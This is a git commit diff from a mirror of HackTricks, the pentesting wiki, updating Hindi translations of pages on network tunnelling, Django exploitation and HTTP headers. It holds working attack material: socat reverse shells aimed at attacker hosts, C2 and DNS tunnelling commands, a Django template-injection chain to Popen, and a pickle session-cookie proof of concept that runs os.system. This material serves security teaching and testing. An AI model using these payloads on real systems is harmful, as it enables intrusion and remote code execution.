mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src
This commit is contained in:
parent
ab01751e9d
commit
4428ef3740
@ -68,7 +68,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||
```
|
||||
### VPN-Tunnel
|
||||
|
||||
आपको **दोनों उपकरणों में रूट** की आवश्यकता है (क्योंकि आप नए इंटरफेस बनाने जा रहे हैं) और sshd कॉन्फ़िगरेशन को रूट लॉगिन की अनुमति देनी होगी:\
|
||||
आपको **दोनों उपकरणों में रूट** की आवश्यकता है (क्योंकि आप नए इंटरफेस बनाने जा रहे हैं) और sshd कॉन्फ़िगरेशन को रूट लॉगिन की अनुमति देनी चाहिए:\
|
||||
`PermitRootLogin yes`\
|
||||
`PermitTunnel yes`
|
||||
```bash
|
||||
@ -89,7 +89,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> **सुरक्षा – टेरापिन हमला (CVE-2023-48795)**
|
||||
> 2023 का टेरापिन डाउनग्रेड हमला एक मैन-इन-द-मिडल को प्रारंभिक SSH हैंडशेक के साथ छेड़छाड़ करने और **किसी भी फॉरवर्डेड चैनल** ( `-L`, `-R`, `-D` ) में डेटा इंजेक्ट करने की अनुमति दे सकता है। सुनिश्चित करें कि क्लाइंट और सर्वर दोनों पैच किए गए हैं (**OpenSSH ≥ 9.6/LibreSSH 6.7**) या SSH टनल पर निर्भर होने से पहले कमजोर `chacha20-poly1305@openssh.com` और `*-etm@openssh.com` एल्गोरिदम को `sshd_config`/`ssh_config` में स्पष्ट रूप से अक्षम करें। citeturn4search0
|
||||
> 2023 का टेरापिन डाउनग्रेड हमला एक मैन-इन-द-मिडल को प्रारंभिक SSH हैंडशेक के साथ छेड़छाड़ करने और **किसी भी फॉरवर्डेड चैनल** ( `-L`, `-R`, `-D` ) में डेटा इंजेक्ट करने की अनुमति दे सकता है। सुनिश्चित करें कि क्लाइंट और सर्वर दोनों पैच किए गए हैं (**OpenSSH ≥ 9.6/LibreSSH 6.7**) या SSH टनल पर भरोसा करने से पहले कमजोर `chacha20-poly1305@openssh.com` और `*-etm@openssh.com` एल्गोरिदम को `sshd_config`/`ssh_config` में स्पष्ट रूप से अक्षम करें।
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
@ -108,7 +108,7 @@ sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
|
||||
|
||||
### Port2Port
|
||||
|
||||
स्थानीय पोर्ट --> समझौता किया गया होस्ट (सक्रिय सत्र) --> Third_box:Port
|
||||
स्थानीय पोर्ट --> समझौता किया गया होस्ट (सक्रिय सत्र) --> तीसरा_बॉक्स:पोर्ट
|
||||
```bash
|
||||
# Inside a meterpreter session
|
||||
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
|
||||
@ -138,7 +138,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||||
|
||||
### SOCKS proxy
|
||||
|
||||
टीमसर्वर में एक पोर्ट खोलें जो सभी इंटरफेस में सुन रहा है जिसे **बिकन के माध्यम से ट्रैफ़िक को रूट करने** के लिए उपयोग किया जा सकता है।
|
||||
टीमसर्वर में एक पोर्ट खोलें जो सभी इंटरफेस में सुन रहा है जिसे **बिकन के माध्यम से ट्रैफ़िक रूट करने** के लिए उपयोग किया जा सकता है।
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
@ -158,7 +158,7 @@ To note:
|
||||
|
||||
- Beacon's reverse port forward is designed to **ट्रैफ़िक को Team Server तक टनल करने के लिए, व्यक्तिगत मशीनों के बीच रिले करने के लिए नहीं**।
|
||||
- ट्रैफ़िक **Beacon के C2 ट्रैफ़िक के भीतर टनल किया जाता है**, जिसमें P2P लिंक शामिल हैं।
|
||||
- **एडमिन विशेषाधिकार की आवश्यकता नहीं है** उच्च पोर्ट पर रिवर्स पोर्ट फॉरवर्ड बनाने के लिए।
|
||||
- **प्रशासक विशेषाधिकार की आवश्यकता नहीं है** उच्च पोर्ट पर रिवर्स पोर्ट फॉरवर्ड बनाने के लिए।
|
||||
|
||||
### rPort2Port local
|
||||
|
||||
@ -242,7 +242,7 @@ interface_add_route --name "ligolo" --route 240.0.0.1/32
|
||||
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
|
||||
|
||||
रिवर्स टनल। टनल पीड़ित से शुरू होती है।\
|
||||
127.0.0.1:1080 पर एक socks4 प्रॉक्सी बनाई जाती है।
|
||||
एक socks4 प्रॉक्सी 127.0.0.1:1080 पर बनाई जाती है।
|
||||
```bash
|
||||
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
|
||||
```
|
||||
@ -276,7 +276,7 @@ victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
```bash
|
||||
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
|
||||
```
|
||||
### Port2Port через socks
|
||||
### Port2Port through socks
|
||||
```bash
|
||||
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
|
||||
```
|
||||
@ -290,7 +290,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
|
||||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
||||
#Execute the meterpreter
|
||||
```
|
||||
आप एक **गैर-प्रमाणित प्रॉक्सी** को बायपास कर सकते हैं, इस पंक्ति को पीड़ित के कंसोल में अंतिम पंक्ति के बजाय निष्पादित करके:
|
||||
आप एक **गैर-प्रमाणित प्रॉक्सी** को बायपास कर सकते हैं, पीड़ित के कंसोल में अंतिम लाइन के बजाय यह लाइन चलाकर:
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
@ -298,7 +298,7 @@ OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacke
|
||||
|
||||
### SSL Socat Tunnel
|
||||
|
||||
**/bin/sh कंसोल**
|
||||
**/bin/sh console**
|
||||
|
||||
दोनों पक्षों पर प्रमाणपत्र बनाएं: क्लाइंट और सर्वर
|
||||
```bash
|
||||
@ -350,7 +350,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
आपको **सिस्टम पर RDP एक्सेस** होना चाहिए।\
|
||||
डाउनलोड करें:
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - यह उपकरण Windows की Remote Desktop Service सुविधा से `Dynamic Virtual Channels` (`DVC`) का उपयोग करता है। DVC **RDP कनेक्शन के माध्यम से पैकेट्स को टनल करने** के लिए जिम्मेदार है।
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - यह उपकरण Windows की Remote Desktop Service सुविधा से `Dynamic Virtual Channels` (`DVC`) का उपयोग करता है। DVC **RDP कनेक्शन के माध्यम से पैकेट्स को टनलिंग** के लिए जिम्मेदार है।
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
अपने क्लाइंट कंप्यूटर में **`SocksOverRDP-Plugin.dll`** को इस तरह लोड करें:
|
||||
@ -372,7 +372,7 @@ netstat -antb | findstr 1080
|
||||
|
||||
## Windows GUI ऐप्स को प्रॉक्सी करें
|
||||
|
||||
आप Windows GUI ऐप्स को [**Proxifier**](https://www.proxifier.com/) का उपयोग करके प्रॉक्सी के माध्यम से नेविगेट कर सकते हैं।\
|
||||
आप Windows GUI ऐप्स को [**Proxifier**](https://www.proxifier.com/) का उपयोग करके प्रॉक्सी के माध्यम से नेविगेट करवा सकते हैं।\
|
||||
**Profile -> Proxy Servers** में SOCKS सर्वर का IP और पोर्ट जोड़ें।\
|
||||
**Profile -> Proxification Rules** में प्रॉक्सी करने के लिए प्रोग्राम का नाम और उन IPs के लिए कनेक्शन जोड़ें जिन्हें आप प्रॉक्सी करना चाहते हैं।
|
||||
|
||||
@ -409,7 +409,7 @@ Microsoft द्वारा बनाया गया एक रिवर्स
|
||||
|
||||
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
||||
|
||||
दोनों सिस्टम में रूट की आवश्यकता होती है ताकि टन एडाप्टर बनाए जा सकें और DNS क्वेरी का उपयोग करके उनके बीच डेटा टनल किया जा सके।
|
||||
दोनों सिस्टम में टन एडाप्टर बनाने और DNS क्वेरी का उपयोग करके उनके बीच डेटा टनल करने के लिए रूट की आवश्यकता होती है।
|
||||
```
|
||||
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
@ -423,7 +423,7 @@ ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
||||
|
||||
[**इसे यहाँ से डाउनलोड करें**](https://github.com/iagox86/dnscat2)**.**
|
||||
|
||||
DNS के माध्यम से C\&C चैनल स्थापित करता है। इसे रूट विशेषाधिकारों की आवश्यकता नहीं है।
|
||||
DNS के माध्यम से एक C\&C चैनल स्थापित करता है। इसे रूट विशेषाधिकारों की आवश्यकता नहीं है।
|
||||
```bash
|
||||
attacker> ruby ./dnscat2.rb tunneldomain.com
|
||||
victim> ./dnscat2 tunneldomain.com
|
||||
@ -459,7 +459,7 @@ Proxychains `gethostbyname` libc कॉल को इंटरसेप्ट
|
||||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||
|
||||
दोनों सिस्टम में टन अडाप्टर बनाने और ICMP इको अनुरोधों का उपयोग करके उनके बीच डेटा टनल करने के लिए रूट की आवश्यकता होती है।
|
||||
दोनों सिस्टम में tun एडाप्टर बनाने और ICMP इको अनुरोधों का उपयोग करके उनके बीच डेटा टनल करने के लिए रूट की आवश्यकता होती है।
|
||||
```bash
|
||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||
@ -484,7 +484,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
|
||||
## ngrok
|
||||
|
||||
[**ngrok**](https://ngrok.com/) **एक उपकरण है जो एक कमांड लाइन में समाधानों को इंटरनेट पर उजागर करता है।**\
|
||||
_उजागर URI इस तरह हैं:_ **UID.ngrok.io**
|
||||
_उजागर URI इस तरह के होते हैं:_ **UID.ngrok.io**
|
||||
|
||||
### Installation
|
||||
|
||||
@ -532,7 +532,7 @@ stdout से सीधे या HTTP इंटरफ़ेस में [http:
|
||||
यह 3 टनल खोलता है:
|
||||
|
||||
- 2 TCP
|
||||
- 1 HTTP जिसमें /tmp/httpbin/ से स्थिर फ़ाइलों का प्रदर्शन होता है
|
||||
- 1 HTTP जो /tmp/httpbin/ से स्थिर फ़ाइलों का प्रदर्शन करता है
|
||||
```yaml
|
||||
tunnels:
|
||||
mytcp:
|
||||
@ -574,11 +574,11 @@ url: http://127.0.0.1:8000
|
||||
```bash
|
||||
cloudflared tunnel run mytunnel
|
||||
```
|
||||
क्योंकि सभी ट्रैफ़िक होस्ट से **443 पर आउटबाउंड** निकलता है, Cloudflared टनल इनग्रेस ACLs या NAT सीमाओं को बायपास करने का एक सरल तरीका है। ध्यान दें कि बाइनरी आमतौर पर उच्च विशेषाधिकारों के साथ चलती है - जब संभव हो, कंटेनरों का उपयोग करें या `--user` ध्वज का उपयोग करें। citeturn1search0
|
||||
क्योंकि सभी ट्रैफ़िक होस्ट से **443 पर आउटबाउंड** निकलता है, Cloudflared टनल इनग्रेस ACLs या NAT सीमाओं को बायपास करने का एक सरल तरीका है। ध्यान दें कि बाइनरी आमतौर पर उच्च विशेषाधिकारों के साथ चलती है - जब संभव हो, कंटेनरों का उपयोग करें या `--user` ध्वज का उपयोग करें।
|
||||
|
||||
## FRP (फास्ट रिवर्स प्रॉक्सी)
|
||||
|
||||
[`frp`](https://github.com/fatedier/frp) एक सक्रिय रूप से बनाए रखा जाने वाला Go रिवर्स-प्रॉक्सी है जो **TCP, UDP, HTTP/S, SOCKS और P2P NAT-hole-punching** का समर्थन करता है। **v0.53.0 (मई 2024)** से शुरू होकर, यह एक **SSH टनल गेटवे** के रूप में कार्य कर सकता है, ताकि एक लक्षित होस्ट केवल स्टॉक OpenSSH क्लाइंट का उपयोग करके एक रिवर्स टनल स्थापित कर सके - कोई अतिरिक्त बाइनरी की आवश्यकता नहीं है।
|
||||
[`frp`](https://github.com/fatedier/frp) एक सक्रिय रूप से बनाए रखा गया Go रिवर्स-प्रॉक्सी है जो **TCP, UDP, HTTP/S, SOCKS और P2P NAT-hole-punching** का समर्थन करता है। **v0.53.0 (मई 2024)** से शुरू होकर, यह एक **SSH टनल गेटवे** के रूप में कार्य कर सकता है, इसलिए एक लक्षित होस्ट केवल स्टॉक OpenSSH क्लाइंट का उपयोग करके एक रिवर्स टनल स्थापित कर सकता है - कोई अतिरिक्त बाइनरी की आवश्यकता नहीं है।
|
||||
|
||||
### क्लासिक रिवर्स TCP टनल
|
||||
```bash
|
||||
@ -608,9 +608,9 @@ sshTunnelGateway.bindPort = 2200 # add to frps.toml
|
||||
# On victim (OpenSSH client only)
|
||||
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
|
||||
```
|
||||
उपरोक्त कमांड पीड़ित के पोर्ट **8080** को **attacker_ip:9000** के रूप में प्रकाशित करता है बिना किसी अतिरिक्त उपकरण को तैनात किए - यह लिविंग-ऑफ-द-लैंड पिवोटिंग के लिए आदर्श है। citeturn2search1
|
||||
उपरोक्त कमांड पीड़ित के पोर्ट **8080** को **attacker_ip:9000** के रूप में प्रकाशित करता है बिना किसी अतिरिक्त उपकरण को तैनात किए – यह लिविंग-ऑफ-द-लैंड पिवोटिंग के लिए आदर्श है।
|
||||
|
||||
## अन्य उपकरण जांचने के लिए
|
||||
## अन्य उपकरणों की जांच करें
|
||||
|
||||
- [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||
- [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||
|
@ -9,4 +9,71 @@ Django कैश चार स्थानों में से एक मे
|
||||
|
||||
यह HackerOne रिपोर्ट SQLite डेटाबेस में संग्रहीत Django कैश का शोषण करने का एक शानदार, पुनरुत्पादनीय उदाहरण प्रदान करती है: https://hackerone.com/reports/1415436
|
||||
|
||||
---
|
||||
|
||||
## Server-Side Template Injection (SSTI)
|
||||
Django Template Language (DTL) **Turing-complete** है। यदि उपयोगकर्ता द्वारा प्रदान किया गया डेटा *टेम्पलेट स्ट्रिंग* के रूप में प्रस्तुत किया जाता है (उदाहरण के लिए `Template(user_input).render()` को कॉल करके या जब `|safe`/`format_html()` ऑटो-एस्केपिंग को हटा देता है), तो एक हमलावर पूर्ण SSTI → RCE प्राप्त कर सकता है।
|
||||
|
||||
### Detection
|
||||
1. `Template()` / `Engine.from_string()` / `render_to_string()` के लिए डायनामिक कॉल की तलाश करें जो *किसी भी* असंक्रमित अनुरोध डेटा को शामिल करते हैं।
|
||||
2. एक समय-आधारित या अंकगणितीय पेलोड भेजें:
|
||||
```django
|
||||
{{7*7}}
|
||||
```
|
||||
यदि प्रस्तुत आउटपुट में `49` है तो इनपुट को टेम्पलेट इंजन द्वारा संकलित किया गया है।
|
||||
|
||||
### Primitive to RCE
|
||||
Django `__import__` तक सीधी पहुंच को अवरुद्ध करता है, लेकिन Python ऑब्जेक्ट ग्राफ़ पहुंच योग्य है:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()}}
|
||||
```
|
||||
`subprocess.Popen` का इंडेक्स खोजें (≈400–500, Python बिल्ड के आधार पर) और मनचाहे कमांड्स निष्पादित करें:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||||
```
|
||||
A safer universal gadget is to iterate until `cls.__name__ == 'Popen'`.
|
||||
|
||||
The same gadget works for **Debug Toolbar** or **Django-CMS** template rendering features that mishandle user input.
|
||||
|
||||
---
|
||||
|
||||
## Pickle-Backed Session Cookie RCE
|
||||
यदि सेटिंग `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` सक्षम है (या एक कस्टम सीरियलाइज़र जो पिक्ल को डीसिरियलाइज करता है), तो Django *सत्र कुकी को डिक्रिप्ट और अनपिक्ल करता है* **पहले** किसी भी व्यू कोड को कॉल करने से। इसलिए, एक मान्य साइनिंग की (डिफ़ॉल्ट रूप से प्रोजेक्ट `SECRET_KEY`) होना तत्काल रिमोट कोड निष्पादन के लिए पर्याप्त है।
|
||||
|
||||
### Exploit Requirements
|
||||
* सर्वर `PickleSerializer` का उपयोग करता है।
|
||||
* हमलावर `settings.SECRET_KEY` को जानता है / अनुमान लगा सकता है (GitHub, `.env`, त्रुटि पृष्ठों आदि के माध्यम से लीक)।
|
||||
|
||||
### Proof-of-Concept
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from django.contrib.sessions.serializers import PickleSerializer
|
||||
from django.core import signing
|
||||
import os, base64
|
||||
|
||||
class RCE(object):
|
||||
def __reduce__(self):
|
||||
return (os.system, ("id > /tmp/pwned",))
|
||||
|
||||
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
|
||||
print(f"sessionid={mal}")
|
||||
```
|
||||
कुकी भेजें, और पेलोड WSGI कार्यकर्ता की अनुमतियों के साथ चलता है।
|
||||
|
||||
**निवारण**: डिफ़ॉल्ट `JSONSerializer` को बनाए रखें, `SECRET_KEY` को घुमाएँ, और `SESSION_COOKIE_HTTPONLY` को कॉन्फ़िगर करें।
|
||||
|
||||
---
|
||||
|
||||
## हालिया (2023-2025) उच्च-प्रभाव वाले Django CVEs जिनकी जांच पेंटेस्टर्स को करनी चाहिए
|
||||
* **CVE-2025-48432** – *अनएस्केप्ड `request.path` के माध्यम से लॉग इंजेक्शन* (4 जून 2025 को ठीक किया गया)। हमलावरों को लॉग फ़ाइलों में नई पंक्तियाँ/ANSI कोड स्मगल करने की अनुमति देता है और डाउनस्ट्रीम लॉग विश्लेषण को विषाक्त करता है। पैच स्तर ≥ 4.2.22 / 5.1.10 / 5.2.2।
|
||||
* **CVE-2024-42005** – *`JSONField` पर `QuerySet.values()/values_list()` में महत्वपूर्ण SQL इंजेक्शन* (CVSS 9.8)। JSON कुंजी बनाएं ताकि उद्धरण से बाहर निकल सकें और मनमाना SQL निष्पादित कर सकें। 4.2.15 / 5.0.8 में ठीक किया गया।
|
||||
|
||||
हमेशा `X-Frame-Options` त्रुटि पृष्ठ या `/static/admin/css/base.css` हैश के माध्यम से सटीक ढाँचा संस्करण की पहचान करें और जहाँ लागू हो, उपरोक्त का परीक्षण करें।
|
||||
|
||||
---
|
||||
|
||||
## संदर्भ
|
||||
* Django सुरक्षा रिलीज़ – "Django 5.2.2, 5.1.10, 4.2.22 CVE-2025-48432 को संबोधित करते हैं" – 4 जून 2025।
|
||||
* OP-Innovate: "Django SQL इंजेक्शन दोष CVE-2024-42005 को संबोधित करने के लिए सुरक्षा अपडेट जारी करता है" – 11 अगस्त 2024।
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -56,12 +56,12 @@
|
||||
|
||||
**सर्वर कैश हेडर**:
|
||||
|
||||
- **`X-Cache`** में प्रतिक्रिया में **`miss`** का मान हो सकता है जब अनुरोध को कैश नहीं किया गया था और मान **`hit`** हो सकता है जब इसे कैश किया गया है
|
||||
- **`X-Cache`** में प्रतिक्रिया का मान **`miss`** हो सकता है जब अनुरोध कैश नहीं किया गया था और मान **`hit`** हो सकता है जब इसे कैश किया गया है
|
||||
- हेडर **`Cf-Cache-Status`** में समान व्यवहार
|
||||
- **`Cache-Control`** यह संकेत करता है कि क्या एक संसाधन कैश किया जा रहा है और अगली बार कब संसाधन को फिर से कैश किया जाएगा: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** अक्सर प्रतिक्रिया में **अतिरिक्त हेडर** को **कैश कुंजी का हिस्सा** के रूप में संकेत करने के लिए उपयोग किया जाता है, भले ही वे सामान्यतः अनकुंजीकृत हों।
|
||||
- **`Age`** उस समय को परिभाषित करता है जो सेकंड में वस्तु प्रॉक्सी कैश में रही है।
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** यह भी संकेत करता है कि एक संसाधन कैश किया गया था
|
||||
- **`Cache-Control`** यह संकेत करता है कि क्या एक संसाधन कैश किया जा रहा है और अगली बार कब संसाधन फिर से कैश किया जाएगा: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** अक्सर प्रतिक्रिया में **अतिरिक्त हेडर** को **कैश कुंजी का हिस्सा** के रूप में इंगित करने के लिए उपयोग किया जाता है, भले ही वे सामान्यतः अनकुंजीकृत हों।
|
||||
- **`Age`** उस समय को परिभाषित करता है जो वस्तु प्रॉक्सी कैश में रही है।
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** यह भी इंगित करता है कि एक संसाधन कैश किया गया था
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/cache-deception/
|
||||
@ -69,24 +69,24 @@
|
||||
|
||||
**स्थानीय कैश हेडर**:
|
||||
|
||||
- `Clear-Site-Data`: हेडर यह संकेत करने के लिए कि कैश को हटाया जाना चाहिए: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Clear-Site-Data`: हेडर जो यह इंगित करता है कि कैश को हटाया जाना चाहिए: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: उस दिन/समय को शामिल करता है जब प्रतिक्रिया समाप्त होनी चाहिए: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Pragma: no-cache` `Cache-Control: no-cache` के समान
|
||||
- `Warning`: **`Warning`** सामान्य HTTP हेडर संदेश की स्थिति के साथ संभावित समस्याओं के बारे में जानकारी प्रदान करता है। एक प्रतिक्रिया में एक से अधिक `Warning` हेडर दिखाई दे सकते हैं। `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
- `Warning`: सामान्य HTTP हेडर **`Warning`** संदेश की स्थिति के साथ संभावित समस्याओं के बारे में जानकारी प्रदान करता है। एक प्रतिक्रिया में एक से अधिक `Warning` हेडर दिखाई दे सकते हैं। `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
|
||||
## कंडीशनल्स
|
||||
|
||||
- इन हेडरों का उपयोग करने वाले अनुरोध: **`If-Modified-Since`** और **`If-Unmodified-Since`** केवल तब डेटा के साथ प्रतिक्रिया दी जाएगी जब प्रतिक्रिया हेडर **`Last-Modified`** में एक अलग समय हो।
|
||||
- इन हेडरों का उपयोग करने वाले अनुरोध: **`If-Modified-Since`** और **`If-Unmodified-Since`** केवल तब डेटा के साथ उत्तर दिया जाएगा जब प्रतिक्रिया हेडर **`Last-Modified`** में एक अलग समय हो।
|
||||
- **`If-Match`** और **`If-None-Match`** का उपयोग करने वाले कंडीशनल अनुरोध एक Etag मान का उपयोग करते हैं ताकि वेब सर्वर प्रतिक्रिया की सामग्री भेजे यदि डेटा (Etag) बदल गया है। `Etag` HTTP प्रतिक्रिया से लिया जाता है।
|
||||
- **Etag** मान आमतौर पर प्रतिक्रिया की **सामग्री** के आधार पर **गणना की जाती है**। उदाहरण के लिए, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` यह संकेत करता है कि `Etag` **37 बाइट्स** का **Sha1** है।
|
||||
- **Etag** मान आमतौर पर प्रतिक्रिया की **सामग्री** के आधार पर **गणना की जाती है**। उदाहरण के लिए, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` यह इंगित करता है कि `Etag` **37 बाइट्स** का **Sha1** है।
|
||||
|
||||
## रेंज अनुरोध
|
||||
|
||||
- **`Accept-Ranges`**: संकेत करता है कि क्या सर्वर रेंज अनुरोधों का समर्थन करता है, और यदि हां, तो रेंज को किस इकाई में व्यक्त किया जा सकता है। `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: उस दस्तावेज़ के भाग को इंगित करता है जिसे सर्वर को लौटाना चाहिए। उदाहरण के लिए, `Range:80-100` मूल प्रतिक्रिया के 80 से 100 बाइट्स को 206 आंशिक सामग्री के स्थिति कोड के साथ लौटाएगा। यह भी याद रखें कि अनुरोध से `Accept-Encoding` हेडर को हटा दें।
|
||||
- **`Accept-Ranges`**: यह इंगित करता है कि क्या सर्वर रेंज अनुरोधों का समर्थन करता है, और यदि हां, तो रेंज को किस इकाई में व्यक्त किया जा सकता है। `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: यह उस दस्तावेज़ के भाग को इंगित करता है जिसे सर्वर को लौटाना चाहिए। उदाहरण के लिए, `Range:80-100` मूल प्रतिक्रिया के 80 से 100 बाइट्स को 206 आंशिक सामग्री के स्थिति कोड के साथ लौटाएगा। अनुरोध से `Accept-Encoding` हेडर को हटाना भी याद रखें।
|
||||
- यह एक प्रतिक्रिया प्राप्त करने के लिए उपयोगी हो सकता है जिसमें मनमाने रूप से परावर्तित जावास्क्रिप्ट कोड हो जो अन्यथा बचाया जा सकता है। लेकिन इसका दुरुपयोग करने के लिए आपको अनुरोध में ये हेडर इंजेक्ट करने की आवश्यकता होगी।
|
||||
- **`If-Range`**: एक कंडीशनल रेंज अनुरोध बनाता है जो केवल तब पूरा होता है जब दिया गया etag या तिथि दूरस्थ संसाधन से मेल खाती है। इसका उपयोग संसाधन के असंगत संस्करणों से दो रेंज डाउनलोड करने से रोकने के लिए किया जाता है।
|
||||
- **`Content-Range`**: यह इंगित करता है कि पूर्ण बॉडी संदेश में आंशिक संदेश कहाँ संबंधित है।
|
||||
- **`Content-Range`**: यह इंगित करता है कि एक पूर्ण शरीर संदेश में आंशिक संदेश कहाँ संबंधित है।
|
||||
|
||||
## संदेश शरीर की जानकारी
|
||||
|
||||
@ -99,7 +99,7 @@
|
||||
पेंटेस्ट के दृष्टिकोण से यह जानकारी आमतौर पर "व्यर्थ" होती है, लेकिन यदि संसाधन **401** या **403** द्वारा **संरक्षित** है और आप इस **जानकारी** को **प्राप्त करने** का कोई **तरीका** खोज सकते हैं, तो यह **दिलचस्प** हो सकता है।\
|
||||
उदाहरण के लिए, एक HEAD अनुरोध में **`Range`** और **`Etag`** का संयोजन पृष्ठ की सामग्री को HEAD अनुरोधों के माध्यम से लीक कर सकता है:
|
||||
|
||||
- एक अनुरोध जिसमें हेडर `Range: bytes=20-20` हो और एक प्रतिक्रिया जिसमें `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` हो, यह लीक कर रहा है कि बाइट 20 का SHA1 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` है
|
||||
- `Range: bytes=20-20` हेडर के साथ एक अनुरोध और एक प्रतिक्रिया जिसमें `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` है, यह लीक कर रहा है कि बाइट 20 का SHA1 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` है
|
||||
|
||||
## सर्वर जानकारी
|
||||
|
||||
@ -109,11 +109,11 @@
|
||||
## नियंत्रण
|
||||
|
||||
- **`Allow`**: यह हेडर यह संप्रेषित करने के लिए उपयोग किया जाता है कि एक संसाधन कौन से HTTP विधियों को संभाल सकता है। उदाहरण के लिए, इसे `Allow: GET, POST, HEAD` के रूप में निर्दिष्ट किया जा सकता है, जो इंगित करता है कि संसाधन इन विधियों का समर्थन करता है।
|
||||
- **`Expect`**: क्लाइंट द्वारा उपयोग किया जाता है ताकि यह संप्रेषित किया जा सके कि सर्वर को अनुरोध को सफलतापूर्वक संसाधित करने के लिए किन अपेक्षाओं को पूरा करना चाहिए। एक सामान्य उपयोग मामला `Expect: 100-continue` हेडर से संबंधित है, जो संकेत करता है कि क्लाइंट एक बड़ा डेटा पेलोड भेजने का इरादा रखता है। क्लाइंट ट्रांसमिशन के आगे बढ़ने से पहले `100 (Continue)` प्रतिक्रिया की तलाश करता है। यह तंत्र नेटवर्क उपयोग को अनुकूलित करने में मदद करता है सर्वर की पुष्टि की प्रतीक्षा करके।
|
||||
- **`Expect`**: क्लाइंट द्वारा उपयोग किया जाता है ताकि अनुरोध को सफलतापूर्वक संसाधित करने के लिए सर्वर को जो अपेक्षाएँ पूरी करनी चाहिए, उन्हें संप्रेषित किया जा सके। एक सामान्य उपयोग मामला `Expect: 100-continue` हेडर से संबंधित है, जो संकेत करता है कि क्लाइंट एक बड़ा डेटा पेलोड भेजने का इरादा रखता है। क्लाइंट ट्रांसमिशन के आगे बढ़ने से पहले `100 (Continue)` प्रतिक्रिया की तलाश करता है। यह तंत्र नेटवर्क उपयोग को अनुकूलित करने में मदद करता है क्योंकि यह सर्वर की पुष्टि की प्रतीक्षा करता है।
|
||||
|
||||
## डाउनलोड
|
||||
|
||||
